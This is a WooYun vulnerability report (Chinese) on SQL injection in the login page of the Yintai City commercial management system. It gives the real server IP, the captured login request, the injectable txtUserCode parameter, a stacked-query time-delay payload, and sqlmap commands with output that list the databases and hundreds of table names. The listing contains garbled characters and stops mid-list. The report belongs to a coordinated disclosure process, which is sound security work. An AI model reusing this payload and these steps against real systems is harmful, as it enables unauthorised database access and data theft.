当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0165198

漏洞标题:银泰城商业管理系统存在sql注入漏洞(sa权限)

相关厂商:银泰商业集团

漏洞作者: 路人甲

提交时间:2015-12-28 12:29

修复时间:2016-02-09 23:29

公开时间:2016-02-09 23:29

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-28: 细节已通知厂商并且等待厂商处理中
2015-12-28: 厂商已经确认,细节仅向厂商公开
2016-01-07: 细节向核心白帽子及相关领域专家公开
2016-01-17: 细节向普通白帽子公开
2016-01-27: 细节向实习白帽子公开
2016-02-09: 细节向公众公开

简要描述:

银泰城商业管理系统登陆时为对用户名参数过滤,导致sql注入。

详细说明:

网站地址:http://114.251.99.158/login.aspx
登陆时抓包:
POST /login.aspx HTTP/1.1
Host: 114.251.99.158
Content-Length: 404
Cache-Control: no-cache
Origin: http://114.251.99.158
X-MicrosoftAjax: Delta=true
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Referer: http://114.251.99.158/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: ASP.NET_SessionId=y3djpw55a4rlkv45bucdos55
ScriptManager1=UpdatePanel1%7CButton1&txtUserCode=admin&txtPassword=1&__LASTFOCUS=&__VIEWSTATE=%2FwEPDwUKMTQ4ODU0NzEyMA8WAh4ITGFuZ3VhZ2UFA0NIThYCAgMPZBYCAgMPZBYCZg9kFgICAw8PZBYCHgpvbmtleXByZXNzBQprZXljbGljaygpZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAQUHQnV0dG9uMdPyzBznIIJc55SY7v6%2BHnGRARNQ&__VIEWSTATEGENERATOR=C2EE9ABB&__EVENTTARGET=&__EVENTARGUMENT=&__ASYNCPOST=true&Button1.x=51&Button1.y=17
存在注入的参数:txtUserCode=admin
实施过程:
root@kali:~# sqlmap -r "/root/桌面/b.txt" --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20151225}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 15:38:57
[15:38:57] [INFO] parsing HTTP request from '/root/桌面/b.txt'
[15:38:57] [WARNING] provided value for parameter '__LASTFOCUS' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[15:38:57] [WARNING] provided value for parameter '__EVENTTARGET' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[15:38:57] [WARNING] provided value for parameter '__EVENTARGUMENT' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[15:38:57] [INFO] resuming back-end DBMS 'microsoft sql server'
[15:38:57] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: txtUserCode (POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: ScriptManager1=UpdatePanel1|Button1&txtUserCode=admin';WAITFOR DELAY '0:0:5'--&txtPassword=1&__LASTFOCUS=&__VIEWSTATE=/wEPDwUKMTQ4ODU0NzEyMA8WAh4ITGFuZ3VhZ2UFA0NIThYCAgMPZBYCAgMPZBYCZg9kFgICAw8PZBYCHgpvbmtleXByZXNzBQprZXljbGljaygpZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAQUHQnV0dG9uMdPyzBznIIJc55SY7v6+HnGRARNQ&__VIEWSTATEGENERATOR=C2EE9ABB&__EVENTTARGET=&__EVENTARGUMENT=&__ASYNCPOST=true&Button1.x=51&Button1.y=17
---
[15:38:57] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: Microsoft IIS 7.5, ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[15:38:57] [INFO] fetching database names
[15:38:57] [INFO] fetching number of databases
[15:38:57] [INFO] resumed: 10
[15:38:57] [INFO] resumed: master
[15:38:57] [INFO] resumed: MI_NET_YinTai
[15:38:57] [INFO] resumed: MI_NET_YinTai(test)
[15:38:57] [INFO] resumed: MI_NET_YinTai_Test
[15:38:57] [INFO] resumed: MI_NET_YinTaiMT
[15:38:57] [INFO] resumed: model
[15:38:57] [INFO] resumed: msdb
[15:38:57] [INFO] resumed: ReportServer
[15:38:57] [INFO] resumed: ReportServerTempDB
[15:38:57] [INFO] resumed: tempdb
available databases [10]:
[*] [MI_NET_YinTai(test)]
[*] master
[*] MI_NET_YinTai
[*] MI_NET_YinTai_Test
[*] MI_NET_YinTaiMT
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
root@kali:~# sqlmap -r "/root/桌面/b.txt" --tables -D MI_NET_YinTai
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20151225}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 15:39:47
[15:39:47] [INFO] parsing HTTP request from '/root/桌面/b.txt'
[15:39:47] [WARNING] provided value for parameter '__LASTFOCUS' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[15:39:47] [WARNING] provided value for parameter '__EVENTTARGET' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[15:39:47] [WARNING] provided value for parameter '__EVENTARGUMENT' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[15:39:47] [INFO] resuming back-end DBMS 'microsoft sql server'
[15:39:47] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: txtUserCode (POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: ScriptManager1=UpdatePanel1|Button1&txtUserCode=admin';WAITFOR DELAY '0:0:5'--&txtPassword=1&__LASTFOCUS=&__VIEWSTATE=/wEPDwUKMTQ4ODU0NzEyMA8WAh4ITGFuZ3VhZ2UFA0NIThYCAgMPZBYCAgMPZBYCZg9kFgICAw8PZBYCHgpvbmtleXByZXNzBQprZXljbGljaygpZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAQUHQnV0dG9uMdPyzBznIIJc55SY7v6+HnGRARNQ&__VIEWSTATEGENERATOR=C2EE9ABB&__EVENTTARGET=&__EVENTARGUMENT=&__ASYNCPOST=true&Button1.x=51&Button1.y=17
---
[15:39:47] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: Microsoft IIS 7.5, ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[15:39:47] [INFO] fetching tables for database: MI_NET_YinTai
[15:39:47] [INFO] fetching number of tables for database 'MI_NET_YinTai'
[15:39:47] [INFO] resumed: 384
[15:39:47] [INFO] resumed: dbo.AccountLog
[15:39:47] [INFO] resumed: dbo.AccountPara
[15:39:47] [INFO] resumed: dbo.AccountView
[15:39:47] [INFO] resumed: dbo.AccountViewDetail
[15:39:47] [INFO] resumed: dbo.Activity
[15:39:47] [INFO] resumed: dbo.ActivityItem
[15:39:47] [INFO] resumed: dbo.AdBoard
[15:39:47] [INFO] resumed: dbo.AdBoardManage
[15:39:47] [INFO] resumed: dbo.AdBoardType
[15:39:47] [INFO] resumed: dbo.AdContract
[15:39:47] [INFO] resumed: dbo.Age
[15:39:47] [INFO] resumed: dbo.AnPMaster
[15:39:47] [INFO] resumed: dbo.Area
[15:39:47] [INFO] resumed: dbo.AreaLevel\x05
[15:39:47] [INFO] resumed: dbo.AreaManage
[15:39:47] [INFO] resumed: dbo.AreaSize
[15:39:47] [INFO] resumed: dbo.AreaType
[15:39:47] [INFO] resumed: dbo.AuthContract
[15:39:47] [INFO] resumed: dbo.AuthShop
[15:39:47] [INFO] resumed: dbo.AuthTrade
[15:39:47] [INFO] resumed: dbo.authUser
[15:39:47] [INFO] resumed: dbo.AutoCreate
[15:39:47] [INFO] resumed: dbo.AutoSqljob
[15:39:47] [INFO] resumed: dbo.BackRent
[15:39:47] [INFO] resumed: dbo.BankAccNo
[15:39:47] [INFO] resumed: dbo.BankTransDet
[15:39:47] [INFO] resumed: dbo.Bill
[15:39:47] [INFO] resumed: dbo.BillType
[15:39:47] [INFO] resumed: dbo.Biz
[15:39:47] [INFO] resumed: dbo.BizGrp
[15:39:47] [INFO] resumed: dbo.Bonus
[15:39:47] [INFO] resumed: dbo.Bonus_view
[15:39:47] [INFO] resumed: dbo.BonusF
[15:39:47] [INFO] resumed: dbo.BonusFBirth
[15:39:47] [INFO] resumed: dbo.BonusGp
[15:39:47] [INFO] resumed: dbo.BonusGp_view
[15:39:47] [INFO] resumed: dbo.BonusStore
[15:39:47] [INFO] resumed: dbo.BonusTradeGp
[15:39:47] [INFO] resumed: dbo.BrandLe複ele1C!\x13
[15:39:47] [INFO] resumed: dbo.BrandLperateType
[15:39:47] [INFO] resumed: dbo.Budget
[15:39:47] [INFO] resumed: dbo.BudgetDetail
[15:39:48] [INFO] resumed: dbo.BumlderAuditing
[15:39:48] [INFO] resumed: dbo.Building
[15:39:48] [INFO] resumed: dbo.CardAuthorization
[15:39:48] [INFO] resumed: dbo.CardClass
[15:39:48] [INFO] resumed: dbo.CardClass_view
[15:39:48] [INFO] resumed: dbo.CardUpDownRuleA
[15:39:48] [INFO] resumed: dbo.CasherPayment
[15:39:48] [INFO] resumed: dbo.Charge
[15:39:48] [INFO] resumed: dbo.Charge20141203
[15:39:48] [INFO] resumed: dbo.ChargeCountLog
[15:39:48] [INFO] resumed: dbo.ChargeDetail\x07
[15:39:48] [INFO] resumed: dbo.ChargeDetail20141203
[15:39:48] [INFO] resumed: dbo.ChargeTyph
[15:39:48] [INFO] resumed: dbo.ClientLevel
[15:39:48] [INFO] resumed: dbo.Complaint
[15:39:48] [INFO] resumed: dbo.ConAdBpard
[15:39:48] [INFO] resumed: dbo.ConArea
[15:39:48] [INFO] resumed: dbo.ConFormulaExempt
[15:39:48] [INFO] resumed: dbo.ConFormulaH
[15:39:48] [INFO] resumed: dbo.ConFormulaHMod
[15:39:48] [INFO] resumed: dbo.ConFormulaHOvtm
[15:39:48] [INFO] resumed: dbo.ConFormulaM
[15:39:48] [INFO] resumed: dbo.ConFormulaMMod
[15:39:48] [INFO] resumed: dbo.ConFormulaMod
[15:39:48] [INFO] resumed: dbo.ConFormulaMOvtm
[15:39:48] [INFO] resumed: dbo.ConFormulaMOA
[15:39:48] [INFO] resumed: dbo.ConFormulaP151010
[15:39:48] [INFO] resumed: dbo.ConFormulaPMod
[15:39:48] [INFO] resumed: dbo.ConFormulaPOxtm
[15:39:48] [INFO] resumed: dbo.ConFease
[15:39:48] [INFO] resumed: dbo.ConPvertimeBill
[15:39:48] [INFO] resumed: dbo.ConShpp
[15:39:48] [INFO] resumed: dbo.ConShopBrand
[15:39:48] [INFO] resumed: dbo.conShopInfo_view\t
[15:39:48] [INFO] resumed: dbo.ConShopUnit
[15:39:48] [INFO] resumed: dbo.ConsumeInterest\x15
[15:39:48] [INFO] resumed: dbo.Contents
[15:39:48] [INFO] resumed: dbo.ConTerminateBill
[15:39:48] [INFO] resumed: dbo.Contract
[15:39:48] [INFO] resumed: dbo.contract_list
[15:39:48] [INFO] resumed: dbo.ContractInfo_ttx
[15:39:48] [INFO] resumed: dbo.ContractRef
[15:39:48] [INFO] resumed: dbo.ContractRental
[15:39:48] [INFO] resumed: dbo.ContractType
[15:39:48] [INFO] resumed: dbo.Contnion\t
[15:39:48] [INFO] resumed: dbo.ConUnionMod
[15:39:48] [INFO] resumed: dbo.Counter
[15:39:48] [INFO] resumed: dbo.CreditSevel
[15:39:48] [INFO] resumed: dbo.CrmArea
[15:39:48] [INFO] resumed: dbo.CurExRate
[15:39:48] [INFO] resumed: dbo.CurrencyType
[15:39:48] [INFO] resumed: dbo.CustBrand
[15:39:48] [INFO] resumed: dbo.CustContact
[15:39:48] [INFO] resumed: dbo.CustContact20141008
[15:39:48] [INFO] resumed: dbo.CustLicense
[15:39:48] [INFO] resumed: dbo.Customer
[15:39:48] [INFO] resumed: dbo.CustomerLog
[15:39:48] [INFO] resumed: dbo.CustOprInfo
[15:39:48] [INFO] resumed: dbo.CustPalaver
[15:39:48] [INFO] resumed: dbo.CustType
[15:39:48] [INFO] resumed: dbo.DataTransLog
[15:39:48] [INFO] resumed: dbo.DecorateSubsidies
[15:39:48] [INFO] resumed: dbo.DepBal
[15:39:48] [INFO] resumed: dbo.DepBal20150409
[15:39:48] [INFO] resumed: dbo.DepBalDel
[15:39:48] [INFO] resumed: dbo.DepBalDel20150409
[15:39:48] [INFO] resumed: dbo.Depplus
[15:39:48] [INFO] resumed: dbo.Dept
[15:39:48] [INFO] resumed: dbo.DeptAuth
[15:39:48] [INFO] resumed: dbo.DeptBrand\x03
[15:39:48] [INFO] resumed: dbo.DeptType
[15:39:48] [INFO] resumed: dbo.DimDate
[15:39:48] [INFO] resumed: dbo.Distance
[15:39:48] [INFO] resumed: dbo.EduLevel
[15:39:48] [INFO] resumed: dbo.Email
[15:39:48] [INFO] resumed: dbo.ExTrans
[15:39:48] [INFO] resumed: dbo.Favor
[15:39:48] [INFO] resumed: dbo.FavorItem
[15:39:48] [INFO] resumed: dbo.Finance_SubjectCode
[15:39:48] [INFO] resumed: dbo.FinancialType"
[15:39:48] [INFO] resumed: dbo.FloorInfo
[15:39:48] [INFO] resumed: dbo.Floors
[15:39:48] [INFO] resumed: dbo.FreeGiftTrans
[15:39:48] [INFO] resumed: dbo.FromRegional
[15:39:48] [INFO] resumed: dbo.Func
[15:39:48] [INFO] resumed: dbo.func20141126
[15:39:48] [INFO] resumed: dbo.Gift
[15:39:48] [INFO] resumed: dbo.GiftActivity\t
[15:39:48] [INFO] resumed: dbo.GiftActivityGift
[15:39:48] [INFO] resumed: dbo.GiftDetail
[15:39:48] [INFO] resumed: dbo.GiftHeader
[15:39:48] [INFO] resumed: dbo.GiftStock
[15:39:48] [INFO] resumed: dbo.GiftStockHistory
[15:39:48] [INFO] resumed: dbo.HdwType
[15:39:48] [INFO] resumed: dbo.Income\t!
[15:39:48] [INFO] resumed: dbo.InputBonus
[15:39:48] [INFO] resumed: dbo.InterestItem
[15:39:48] [INFO] resumed: dbo.InterestRate
[15:39:48] [INFO] resumed: dbo.InterfaceBankTransDet
[15:39:48] [INFO] resumed: dbo.InterfaceTransDet
[15:39:48] [INFO] resumed: dbo.Internet\x02
[15:39:48] [INFO] resumed: dbo.InvAdj
[15:39:48] [INFO] resumed: dbo.InvAdjDet
[15:39:48] [INFO] resumed: dbo.InvCancel
[15:39:48] [INFO] resumed: dbo.InvDisc
[15:39:48] [INFO] resumed: dbo.InvDiscDet
[15:39:48] [INFO] resumed: dbo.InvoiceAdPara
[15:39:48] [INFO] resumed: dbo.InvoiceAreaPara
[15:39:48] [INFO] resumed: dbo.InvoiceCancel
[15:39:48] [INFO] resumed: dbo.InvoiceCheque
[15:39:48] [INFO] resumed: dbo.InvoiceDetail
[15:39:48] [INFO] resumed: dbo.InvoiceDetail20140919
[15:39:48] [INFO] resumed: dbo.InvoiceDetail20140923
[15:39:48] [INFO] resumed: dbo.InvoiceDetail20141102C
[15:39:48] [INFO] resumed: dbo.InvoiceDetail20141108
[15:39:48] [INFO] resumed: dbo.InvoiceHeader
[15:39:48] [INFO] resumed: dbo.InvoiceHeader20140919
[15:39:48] [INFO] resumed: dbo.InvoiceHeader20140923
[15:39:48] [INFO] resumed: dbo.InvoiceHeader20141102
[15:39:48] [INFO] resumed: dbo.invoiceIntCancel
[15:39:48] [INFO] resumed: dbo.invoiceInterest
[15:39:48] [INFO] resumed: dbo.InvoiceJVCancel
[15:39:48] [INFO] resumed: dbo.InvoiceJVDetail
[15:39:48] [INFO] resumed: dbo.InvoiceJVPara
[15:39:48] [INFO] resumed: dbo.InvoicePara
[15:39:48] [INFO] resumed: dbo.InvoiceParaPro
[15:39:48] [INFO] resumed: dbo.InvoicePay
[15:39:48] [INFO] resumed: dbo.InvoicePay20140919
[15:39:48] [INFO] resumed: dbo.InvoicePay20141102
[15:39:48] [INFO] resumed: dbo.InvoicePayDetail
[15:39:48] [INFO] resumed: dbo.InvoicePayDetail20140919
[15:39:48] [INFO] resumed: dbo.InvoicePayDetail20141102
[15:39:48] [INFO] resumed: dbo.InvoicePayDetail20150907
[15:39:48] [INFO] resumed: dbo.InvoiceTemp
[15:39:48] [INFO] resumed: dbo.JHEFT\t
[15:39:48] [INFO] resumed: dbo.JobTitle
[15:39:48] [INFO] resumed: dbo.LastSignOff
[15:39:48] [INFO] resumed: dbo.LCard
[15:39:48] [INFO] resumed: dbo.LcMyField1
[15:39:48] [INFO] resumed: dbo.LCust
[15:39:48] [INFO] resumed: dbo.LicenseType
[15:39:48] [INFO] resumed: dbo.LinkConShop
[15:39:48] [INFO] resumed: dbo.LinkConShopBrand
[15:39:48] [INFO] resumed: dbo.LinkContract
[15:39:48] [INFO] resumed: dbo.LinkShopRentalData
[15:39:48] [INFO] resumed: dbo.LinkTransSku
[15:39:48] [INFO] resumed: dbo.LinkTransSkuMedia\x11
[15:39:48] [INFO] resumed: dbo.Location
[15:39:48] [INFO] resumed: dbo.MActivity
[15:39:48] [INFO] resumed: dbo.MDisplay
[15:39:48] [INFO] resumed: dbo.Media
[15:39:48] [INFO] resumed: dbo.MediaM
[15:39:48] [INFO] resumed: dbo.MediaMContrast
[15:39:48] [INFO] resumed: dbo.MediaStore
[15:39:48] [INFO] resumed: dbo.MembActiveBonus
[15:39:48] [INFO] resumed: dbo.MembCard
[15:39:48] [INFO] resumed: dbo.MembCard160
[15:39:48] [INFO] resumed: dbo.MembCardClass
[15:39:48] [INFO] resumed: dbo.Member
[15:39:48] [INFO] resumed: dbo.MemberBonus
[15:39:48] [INFO] resumed: dbo.MemberBonusDetail
[15:39:48] [INFO] resumed: dbo.MemberBonusIndex\t
[15:39:48] [INFO] resumed: dbo.MemberIntegralReset
[15:39:48] [INFO] resumed: dbo.MembMessContent
[15:39:48] [INFO] resumed: dbo.Menu\t
[15:39:48] [INFO] resumed: dbo.MInternet
[15:39:48] [INFO] resumed: dbo.MODE
[15:39:48] [INFO] resumed: dbo.mode144
[15:39:48] [INFO] resumed: dbo.modesk139
[15:39:48] [INFO] resumed: dbo.modesk173
[15:39:48] [INFO] resumed: dbo.modesk213
[15:39:48] [INFO] resumed: dbo.MPrints
[15:39:48] [INFO] resumed: dbo.MRadio
[15:39:48] [INFO] resumed: dbo.Mstatus
[15:39:48] [INFO] resumed: dbo.MTV
[15:39:48] [INFO] resumed: dbo.Nationality
[15:39:48] [INFO] resumed: dbo.OpenPageLog
[15:39:48] [INFO] resumed: dbo.OperMembHistory
[15:39:48] [INFO] resumed: dbo.OtherChargeAdboardD
[15:39:48] [INFO] resumed: dbo.OtherChargeAdboardH
[15:39:48] [INFO] resumed: dbo.OtherChargeAreaD
[15:39:48] [INFO] resumed: dbo.OtherChargeAreaH
[15:39:48] [INFO] resumed: dbo.OtherChargeD
[15:39:48] [INFO] resumed: dbo.OtherChargeH
[15:39:48] [INFO] resumed: dbo.OtherDefineRelation
[15:39:48] [INFO] resumed: dbo.OutStandHist
[15:39:48] [INFO] resumed: dbo.ParkingRevenue
[15:39:48] [INFO] resumed: dbo.PayIn
[15:39:48] [INFO] resumed: dbo.Payment
[15:39:48] [INFO] resumed: dbo.Paymut
[15:39:48] [INFO] resumed: dbo.PayType
[15:39:48] [INFO] resumed: dbo.PosIssue
[15:39:48] [INFO] resumed: dbo.PosSign
[15:39:48] [INFO] resumed: dbo.POSStatus
[15:39:48] [INFO] resumed: dbo.PosSvrInfo
[15:39:48] [INFO] resumed: dbo.PotCustBrand
[15:39:48] [INFO] resumed: dbo.PotCustContact
[15:39:48] [INFO] resumed: dbo.PotCustContact20140930
[15:39:48] [INFO] resumed: dbo.PotCustLicense
[15:39:48] [INFO] resumed: dbo.PotCustomer
[15:39:48] [INFO] resumed: dbo.PotCustOprInfo
[15:39:48] [INFO] resumed: dbo.PotShop
[15:39:48] [INFO] resumed: dbo.PotShopAdBoard
[15:39:48] [INFO] resumed: dbo.PotShopArea
[15:39:48] [INFO] resumed: dbo.PotShopUnit
[15:39:48] [INFO] resumed: dbo.PreferGift
[15:39:48] [INFO] resumed: dbo.PreferMer
[15:39:48] [INFO] resumed: dbo.Prints
[15:39:48] [INFO] resumed: dbo.PrintSize
[15:39:48] [INFO] resumed: dbo.ProcessType
[15:39:48] [INFO] resumed: dbo.ProdRelation
[15:39:48] [INFO] resumed: dbo.PromotionDetail
[15:39:48] [INFO] resumed: dbo.PromotionHeader
[15:39:48] [INFO] resumed: dbo.Purhist
[15:39:48] [INFO] resumed: dbo.Race
[15:39:48] [INFO] resumed: dbo.Recreation
[15:39:48] [INFO] resumed: dbo.RedeemH
[15:39:48] [INFO] resumed: dbo.RentLevel
[15:39:48] [INFO] resumed: dbo.RentStandard
[15:39:48] [INFO] resumed: dbo.RentTypePara
[15:39:48] [INFO] resumed: dbo.Role
[15:39:48] [INFO] resumed: dbo.RoleAuth
[15:39:48] [INFO] resumed: dbo.SendSMS
[15:39:48] [INFO] resumed: dbo.ServerResource
[15:39:48] [INFO] resumed: dbo.Shop_View
[15:39:48] [INFO] resumed: dbo.ShopDiscountInfo
[15:39:48] [INFO] resumed: dbo.ShopHdw
[15:39:48] [INFO] resumed: dbo.ShopHdwUnitPrice
[15:39:48] [INFO] resumed: dbo.ShopType
[15:39:48] [INFO] resumed: dbo.shopusr_view
[15:39:48] [INFO] resumed: dbo.ShopXML
[15:39:48] [INFO] resumed: dbo.SignPerson
[15:39:48] [INFO] resumed: dbo.sk149
[15:39:48] [INFO] resumed: dbo.SkuClass
[15:39:48] [INFO] resumed: dbo.SkuMaster
[15:39:48] [INFO] resumed: dbo.SMSPara
[15:39:48] [INFO] resumed: dbo.SolarData
[15:39:48] [INFO] resumed: dbo.SourceUype
[15:39:48] [INFO] resumed: dbo.sqlmapoutput
[15:39:48] [INFO] resumed: dbo.SSurBal20141102
[15:39:48] [INFO] resumed: dbo.Store
[15:39:48] [INFO] resumed: dbo.StoreBudget
[15:39:48] [INFO] resumed: dbo.StoreHistory
[15:39:48] [INFO] resumed: dbo.StoreLicense
[15:39:48] [INFO] resumed: dbo.StoreManageType
[15:39:48] [INFO] resumed: dbo.StoreMedia
[15:39:48] [INFO] resumed: dbo.StoreMediaM
[15:39:48] [INFO] resumed: dbo.StoreType
[15:39:48] [INFO] resumed: dbo.Subsidiary
[15:39:48] [INFO] resumed: dbo.SurBal
[15:39:48] [INFO] resumed: dbo.SurBalDel
[15:39:48] [INFO] resumed: dbo.SurBalDel20141102
[15:39:48] [INFO] resumed: dbo.Surplus
[15:39:48] [INFO] resumed: dbo.Surplus20141102
[15:39:48] [INFO] resumed: dbo.SYN_CLIENTINFO
[15:39:48] [INFO] resumed: dbo.SYN_CLIENTLOG
[15:39:48] [INFO] resumed: dbo.SYN_CLIENTTASK
[15:39:48] [INFO] resumed: dbo.SYN_CLIENTTOKEN
[15:39:48] [INFO] resumed: dbo.SYN_CLIENTVERSION
[15:39:48] [INFO] resumed: dbo.SYN_COMMAND
[15:39:48] [INFO] resumed: dbo.SYN_DATASOURCE
[15:39:48] [INFO] resumed: dbo.SYN_PARSaRMARK
[15:39:48] [INFO] resumed: dbo.SYN_TABLES
[15:39:48] [INFO] resumed: dbo.SYN_TASKDEF
[15:39:48] [INFO] resumed: dbo.SYN_TASKGROUP
[15:39:48] [INFO] resumed: dbo.SYN_TRANSBATCH
[15:39:48] [INFO] resumed: dbo.SYN_TRANSDATA
[15:39:48] [INFO] resumed: dbo.sysdiagrams
[15:39:48] [INFO] resumed: dbo.SysOprObjPara
[15:39:48] [INFO] resumed: dbo.TaskProcessClass
[15:39:48] [INFO] resumed: dbo.temp
[15:39:48] [INFO] resumed: dbo.TEMP2015
[15:39:48] [INFO] resumed: dbo.Theme
[15:39:48] [INFO] resumed: dbo.TMenu
[15:39:48] [INFO] resumed: dbo.TpUsr
[15:39:48] [INFO] resumed: dbo.TpadeDef
[15:39:48] [INFO] resumed: dbo.TradeRelation
[15:39:48] [INFO] resumed: dbo.TrafficArea
[15:39:48] [INFO] resumed: dbo.TrafficCounter
[15:39:48] [INFO] resumed: dbo.TrafficCounter1
[15:39:48] [INFO] resumed: dbo.TrafficData
[15:39:48] [INFO] resumed: dbo.TrafficDoor
[15:39:48] [INFO] resumed: dbo.TrafficShopData
[15:39:48] [INFO] resumed: dbo.TransBatch\x02\x11
[15:39:48] [INFO] resumed: dbo.TransCare\x061
[15:39:48] [INFO] resumed: dbo.TransData_View
[15:39:48] [INFO] resumed: dbo.TransDetail
[15:39:48] [INFO] resumed: dbo.TransFooter
[15:39:48] [INFO] resumed: dbo.TransHeader
[15:39:48] [INFO] resumed: dbo.transkuu0305
[15:39:48] [INFO] resumed: dbo.transkuumedia0305
[15:39:48] [INFO] resumed: dbo.TransMedia
[15:39:48] [INFO] resumed: dbo.TransmitContract
[15:39:48] [INFO] resumed: dbo.TransmitInvoice
[15:39:48] [INFO] resumed: dbo.TransmitMarket
[15:39:48] [INFO] resumed: dbo.TransmitMarketMedia
[15:39:48] [INFO] resumed: dbo.TransmitSkuMaster
[15:39:48] [INFO] resumed: dbo.TransShopDay
[15:39:48] [INFO] resumed: dbo.TransShopMth
[15:39:48] [INFO] resumed: dbo.TransSku
[15:39:48] [INFO] resumed: dbo.TransSkuMedia
[15:39:48] [INFO] resumed: dbo.TransSkuMedia_view
[15:39:48] [INFO] resumed: dbo.TransTask
[15:39:48] [INFO] resumed: dbo.TransTaskPlan\x03
[15:39:48] [INFO] resumed: dbo.TransTaskResA
[15:39:48] [INFO] resumed: dbo.transTime
[15:39:48] [INFO] resumed: dbo.UV
[15:39:48] [INFO] resumed: dbo.Unit\x11
[15:39:48] [INFO] resumed: dbo.UnitRent
[15:39:48] [INFO] resumed: dbo.UnitType
[15:39:48] [INFO] resumed: dbo.UploadingDateInfo
[15:39:48] [INFO] resumed: dbo.UserAuth
[15:39:48] [INFO] resumed: dbo.UserRole
[15:39:48] [INFO] resumed: dbo.Users
[15:39:48] [INFO] resumed: dbo.v_Adj
[15:39:48] [INFO] resumed: dbo.v_ChargeDept
[15:39:48] [INFO] resumed: dbo.V_ConShop
[15:39:48] [INFO] resumed: dbo.V_ConshopUnitInfo
[15:39:48] [INFO] resumed: dbo.v_curroutstand
[15:39:48] [INFO] resumed: dbo.v_Formula
[15:39:48] [INFO] resumed: dbo.V_InvoiceDetail
[15:39:48] [INFO] resumed: dbo.V_LeaseIofoy
[15:39:48] [INFO] resumed: dbo.v_paydetail9
[15:39:48] [INFO] resumed: dbo.v_recqivable
[15:39:48] [INFO] resumed: dbo.v_rece넁vable_detail!\x03\x05
[15:39:48] [INFO] resumed: dbo.v_raleymedia
[15:39:48] [INFO] resumed: dbo.v_SumPaidAmt
[15:39:48] [INFO] resumed: dbo.VContractMonthSales
[15:39:48] [INFO] resumed: dbo.Vie444
[15:39:48] [INFO] resumed: dbo.Vie444
[15:39:48] [INFO] resumed: dbo.VInvoiciInfo
[15:39:48] [INFO] resumed: dbo.VoukherType
[15:39:48] [INFO] resumed: dbo.WrkFlw
[15:39:48] [INFO] resumed: dbo.WrkFlwEntity
[15:39:48] [INFO] resumed: dbo.WrkFlwEntity20140926
[15:39:48] [INFO] resumed: dbo.WrkFlwEntity20141013\t
[15:39:48] [INFO] resumed: dbo.WrkFlwEntity20150818
[15:39:48] [INFO] resumed: dbo.WrkFlwMail\x02
[15:39:48] [INFO] resumed: dbo.WrkFlwMailList
[15:39:48] [INFO] resumed: dbo.WrkFlwNode
[15:39:48] [INFO] resumed: dbo.XYEFT
[15:39:48] [INFO] resumed: dbo.Ƅ
Database: MI_NET_YinTai
[384 tables]
+--------------------------+
| OtherChargeAdboardD |
| OtherChargeAdboardH |
| AccountLog |
| AccountPara |
| AccountView |
| AccountViewDetail |
| Activity |
| ActivityItem |
| AdBoard |
| AdBoardManage |
| AdBoardType |
| AdContract |
| Age |
| AnPMaster |
| Area |
| AreaManage |
| AreaSize |
| AreaType |
| AuthContract |
| AuthShop |
| AuthTrade |
| AutoCreate |
| AutoSqljob |
| BackRent |
| BankAccNo |
| BankTransDet |
| Bill |
| BillType |
| Biz |
| BizGrp |
| Bonus |
| BonusF |
| BonusFBirth |
| BonusGp |
| BonusGp_view |
| BonusStore |
| BonusTradeGp |
| Bonus_view |
| BrandLperateType |
| Budget |
| BudgetDetail |
| Building |
| BumlderAuditing |
| CardAuthorization |
| CardClass |
| CardClass_view |
| CardUpDownRuleA |
| CasherPayment |
| Charge |
| Charge20141203 |
| ChargeCountLog |
| ChargeDetail20141203 |
| ChargeTyph |
| ClientLevel |
| Complaint |
| ConAdBpard |
| ConArea |
| ConFease |
| ConFormulaExempt |
| ConFormulaH |
| ConFormulaHMod |
| ConFormulaHOvtm |
| ConFormulaM |
| ConFormulaMMod |
| ConFormulaMOA |
| ConFormulaMOvtm |
| ConFormulaMod |
| ConFormulaP151010 |
| ConFormulaPMod |
